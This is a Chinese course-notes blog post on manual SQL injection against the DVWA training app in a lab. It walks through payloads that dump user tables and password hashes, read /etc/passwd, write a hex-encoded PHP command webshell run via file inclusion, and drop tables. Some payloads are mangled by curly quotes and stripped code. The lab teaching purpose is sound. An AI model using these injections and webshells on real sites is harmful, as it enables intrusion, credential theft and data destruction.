Kali Linux渗透测试 089 手动漏洞挖掘-SQL注入漏洞

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. SQL注入
2. 测试 dvwa Low 安全级别拥有MySQL的root权限
    2-1. 基于报错的检测方法
    2-2. 基于布尔的检测方法
    2-3. 查询字段数
    2-4. 联合查询
    2-5. 可以使用的函数
    2-6. 使用 HackBar
    2-7. 综合查询
    2-8. 使用 BurpSuite
    2-9. 文件操作
3. 测试 dvwa Low 安全级别无 MySQL 的 root 权限
4. 测试 dvwa Low 安全级别当数据库可写
5. 测试 dvwa Medium or High 安全级别
    5-1. 服务器源代码
    5-2. Medium 安全级别下的漏洞分析
    5-3. High 安全级别下的漏洞分析

1. SQL注入


  • 基于报错的检测方法(low)

    • ’ ” % ()
  • 基于布尔的检测

    • 1’ and ‘1’=‘1 / 1’ and ‘1
    • 1’ and ‘1’=‘2 / 1’ and ‘0
  • 表列数 / 显示信息位于哪一列

    • ‘ order by 9–+ #按查询列好排序(注释:– )
    • select * 时表字段数=查询字段数
  • 联合查询

    • ’ union select 1,2–+
    • ’ union all select database(),2–+

2. 测试 dvwa Low 安全级别(拥有MySQL的root权限)


1. 基于报错的检测方法

  1. 正常的SQL查询过程

    • 在预置的”中进行插入语句,进行查询

      select First name,Surname from users where id = ' <待输入的查询信息> '
      
  2. 使用单引号 ’ 进行测试

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
    


    测试结果:输入的单引号 ’ 被服务器接收,导致出现五个单引号 ’ ,说明存在注入漏洞

2. 基于布尔的检测方法

  1. 正常的SQL查询过程

    • 在预置的”中进行插入语句,进行查询

      select First name,Surname from users where id = ' <待输入的查询语句> '
      
  2. 测试漏洞是否存在

    • 插入 1

      select First name,Surname from users where id = ' 1 '
      

    • 插入 1’ and ‘1’ = ‘1

      select First name,Surname from users where id = ' 1' and '1' = '1 '
      

    • 插入 1’ and ‘1

      select First name,Surname from users where id = ' 1' and '1 '
      

3. 查询字段数

  1. 正常的SQL查询过程

    • 在预置的”中进行插入语句,进行查询

      select First name,Surname from users where id = ' <待输入的查询语句> '
      
  2. 测试字段数是否存在

    • 插入 ’ order by 50–

      select First name,Surname from users where id = ' ' order by 50--  '
      

    • 插入 ’ order by 3–

      select First name,Surname from users where id = ' ' order by 3--  '
      

    • 插入 ’ order by 2–

      select First name,Surname from users where id = ' ' order by 2--  '
      

      无结果,表示存在此字段数,吴3字段,说明只到2

4. 联合查询

  1. 正常的SQL查询过程

    • 在预置的”中进行插入语句,进行查询

      select First name,Surname from users where id = ' <待输入的查询语句> '
      
  2. 测试字段数

    • 插入 ’ union select 1,2–

      select First name,Surname from users where id = ' ' union select 1,2--  '
      

    • 插入 1’ union select user(),2–

      select First name,Surname from users where id = ' 1' union select user(),2--  '
      

    • 插入 ’ union select user(),2–

      select First name,Surname from users where id = ' ' union select user(),2--  '
      

    • 插入 ’ union select user(),version()–

      select First name,Surname from users where id = ' ' union select user(),version()--  '
      

5. 可以使用的函数

  1. 正常的SQL查询过程

    • 在预置的”中进行插入语句,进行查询

      select First name,Surname from users where id = ' <待输入的查询语句> '
      
  2. 多函数查询

    • 插入 ’ union select database(),substring_index(USER(),”@”,1)–

      select First name,Surname from users where id = ' ' union select database(),substring_index(USER(),"@",1)--  '
      

    • DB用户:user()

    • DB版本:version()
    • 全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os

      插入 ’ union select user(),@@datadir–

      select First name,Surname from users where id = ' ' union select user(),@@datadir--  '
      

      插入 ’ union select @@hostname,@@VERSION–
      select First name,Surname from users where id = ’ ’ union select @@hostname,@@VERSION– ’

    • 当前库:database()

    • ASCII 转字符:char()
    • 连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())

      select First name,Surname from users where id = ' ' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--  '
      

    • 计算哈希:md5()

      select First name,Surname from users where id = ' ' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('AAA')-- '
      

6. 使用 HackBar

  1. 用法

    • “+” 和 “空格” 等价

    • Split URL:会自动将 URL 分段

  2. substring_index() 的用法

    • 不使用 substring_index() 时

      ' union select database(), USER()-- 
      


    • 使用 substring_index() 时

      ' union select database(),substring_index(USER(),"@",1)--
      


7. 综合查询

  • 查询所有库所有表

    ' union select table_name,table_schema from information_schema.tables--+
    


  • 统计每库中表的数量

    ' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 
    


  • DVWA 中的表名

    ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
    


  • user 表中的所有列(user_id?first_name?last_name?user?password?avatar)

    ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
    


  • 查询 user、password列的内容

    ' union select user,password from dvwa.users--+
    


    ' union select user,password from users--+
    


    ' union select null, concat(user,0x3a,password) from users--+
    


  • 将测试拿到的密码进行进行猜解

    • 获取 密码 类型

      比如:5f4dcc3b5aa765d61d8327deb882cf99

      猜测是 MD5 值

    • 制作待破译密码列表

      admin:5f4dcc3b5aa765d61d8327deb882cf99
      gordonb:e99a18c428cb38d5f260853678922e03
      1337:8d3533d75ae2c3966d7e0d4fcc69216b
      pablo:0d107d09f5bbe40cade3de5c71e9e9b7
      smithy:5f4dcc3b5aa765d61d8327deb882cf99
      

      root@kali:~/Desktop# john --format=raw-MD5 test.txt
      

      # 缓存问题:
      root@kali:~/.john# ls
      john.log  john.pot
      

8. 使用 BurpSuite

  • 开启截断代理
  • 将截断的请求 repeater


9. 文件操作

  • 读取文件

    ' union SELECT null, load_file('/etc/passwd')--+
    


  • 写入文件

    ' union select null,"" INTO DUMPFILE 'a.php'-- 
    


  • 结合 sql 注入文件漏洞和文件包含漏洞

    # 查看可知文件被写入 /var/lib/mysql/dvwa 路径
    root@metasploitable:/var/lib/mysql/dvwa# cat a.php 
    
    
    # 但是如此写入的文件并不可以读取,因为权限是 mysql,其他用户(www-data)不可读
    root@metasploitable:/var/lib/mysql# ll -d dvwa/
    drwx------ 2 mysql mysql 4096 Mar 22 11:08 dvwa/
    
    # 可以将文件写入 /tmp 目录
    root@metasploitable:~# ll -d /tmp
    drwxrwxrwt 6 root root 4096 Mar 22 09:57 /tmp
    
    # 写入文件
    '%20union%20select%20null,""%20INTO%20DUMPFILE%20'/tmp/a.php'--%20
    


    # 分析以上可知,文件被写入 /tmp/a.php
    root@metasploitable:/tmp# cat a.php 
    
    # 使用文件包含漏洞
    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/tmp/a.php&cmd=id
    

  • 绕过 URL 过滤机制进行文件上传(十六进制编码)

    root@kali:~/Desktop# cat test.php 
    
    
    #进行十六进制编码
    root@kali:~/Desktop# cat test.php | xxd -ps | tr -d '\n'
            3c3f706870206563686f207368656c6c5f6578656328245f4745545b27636d64275d293b3f3e0a
    

    #将此输出数据放在文档中保存
    root@kali:~/Desktop# cat php-reverse-shell.php | xxd -ps | tr -d '\n' > phpr.txt
    

    # 在 BurpSuite 中进行粘贴替换原来的 ""
    # 前面加上 (0x)
    



    #发现 a.php 已经存在
    #改为 c.php
    


    # 进行测试(十六进制编码的代码被服务器还原为正常代码)
    root@metasploitable:~# cat /tmp/c.php 
    
    
    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/tmp/c.php&cmd=id
    

  • 保存下载数据库(结合文件上传漏洞)

    ' union select user,password from users --+
    

    ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--+
    

    # 如果该网站不存在文件上传漏洞,只能使用在网页复制粘贴的方法(分批次列出数据库内容),写入的文件也无法进行访问。
    
  • 在无法破解账号密码之后,可以编写插入服务器代码来增加账号密码.

    ' union select null,'"; echo"first_name: $first_name
    "; echo "last_name: $last_name
    "; echo "username:$username
    "; echo "avatar: $avatar
    ";$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected todatabase
    "; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Errorcreating database: " . mysqli_error($con); } mysqli_close($con); } ?>
    ">





    ' INTO DUMPFILE '/tmp/user.php' --+

    # 使用 HackBar 
    



    # 查询验证
    # 结果:插入的代码太长,内容有错误,导致未成功插入。本人不会修改,以后再说。。。。
    

3. 测试 dvwa Low 安全级别(无 MySQL 的 root 权限)


  1. 猜列名:’ and column is null–+

    select * from table_name where uid='   <注入查询语句>   '
    select * from table_name where uid='  ' and column is null--+   '
    

    ' and admin is null-- 
    

    # 可以使用字典进行猜解
    root@kali:~# find / -name *column*.txt
    /usr/local/src/w3af/w3af/plugins/attack/db/sqlmap/txt/common-columns.txt
    /usr/share/golismero/tools/sqlmap/txt/common-columns.txt
    /usr/share/qgis/python/plugins/processing/algs/grass/description/v.buffer.column.txt
    /usr/share/qgis/python/plugins/processing/algs/grass7/description/v.buffer.column.txt
    /usr/share/sqlmap/txt/common-columns.txt
    
    # 在sql查询是,井号(#)有特殊含义,代表临时查询,可以删掉
    root@kali:~# cat /usr/share/sqlmap/txt/common-columns.txt | grep -v ^# > column.txt
    
    # 使用 BurpSuite
    

    .

  2. 猜当前表表名:’ and table.user is null–+

    root@kali:~# find / -name *table*.txt
    root@kali:~# cp /usr/share/golismero/tools/sqlmap/txt/common-tables.txt .
    root@kali:~# cat common-tables.txt | grep -v ^# > table.txt
    
    • 使用 ’ and db.table.aa is null–


  3. 猜库里其他表:’ and (select count(*) from table)>0–+

    ' and (select count(*) from a)>0--+
    



  4. 列表对应关系:’ and table.user is null–+


  5. 猜字段内容:’ or user=’admin、’ or user like ’ %a%

    ' or user='admin
    

    ' or user like '%a% 
    # %是通配符
    

  6. 猜账号对应密码:’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99

    ' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
    

4. 测试 dvwa Low 安全级别:当数据库可写


  • 修改管理员账号 ‘; update users set user=’yuanfh’ where user=’admim;

    无法成功执行是因为客户端问题
    客户端不支持两条指令一起查询,但是在 MySQL 命令行下是支持的

  • 修改管理员密码 ‘; update users set password=’5f4dcc3b5aa765d61d8327deb882cf99’ where user=’admim;

    无法成功执行是因为客户端问题
    客户端不支持两条指令一起查询,但是在 MySQL 命令行下是支持的

  • 插入一个用户 ‘; INSERT INTO users (‘user_id’,’first_name’,’last_name’,’user’,’password’,’avatar’) VALUES (‘35’,’fh’,’yuan’,’yfh’,’5f4dcc3b5aa765d61d8327deb882cf99’,’OK’);–+

  • 删除一个表 ‘; DROP TABLE users; –+

  • xp_cmdshell / 存储过程

2. 测试 dvwa Medium or High 安全级别


1. 服务器源代码

  1. Low 安全级别源代码

2. Medium 安全级别下的漏洞分析

  1. 源代码中的 id=mysqlrealescapestring( id);

    • mysql_real_escape_string() 函数是对字符进行转义,转义的字符包括
    • \x00
    • \n
    • \r
    • \
    • \x1a

    • mysql_real_escape_string() 函数在 PHP5 > PHP版本 >= 4.3.0 存在

    • PHP 5.5.0 已经放弃使用此函数,PHP7已经删除此函数,代之以 MySQLi、PDO_MySQL

  2. 经过分析源码,发现只是过滤了单引号,因此不需要对单引号进行闭合

    http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=0&Submit=Submit
    

    0 union select user(),null
    


    http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
    


    1 union select user(),null
    


3. High 安全级别下的漏洞分析

  • mysql_real_escape_string()
  • stripslashes():去除 ‘\’
  • is_numeric():判断是否是数字,是数字直接退出

你可能感兴趣的:(kali-linux)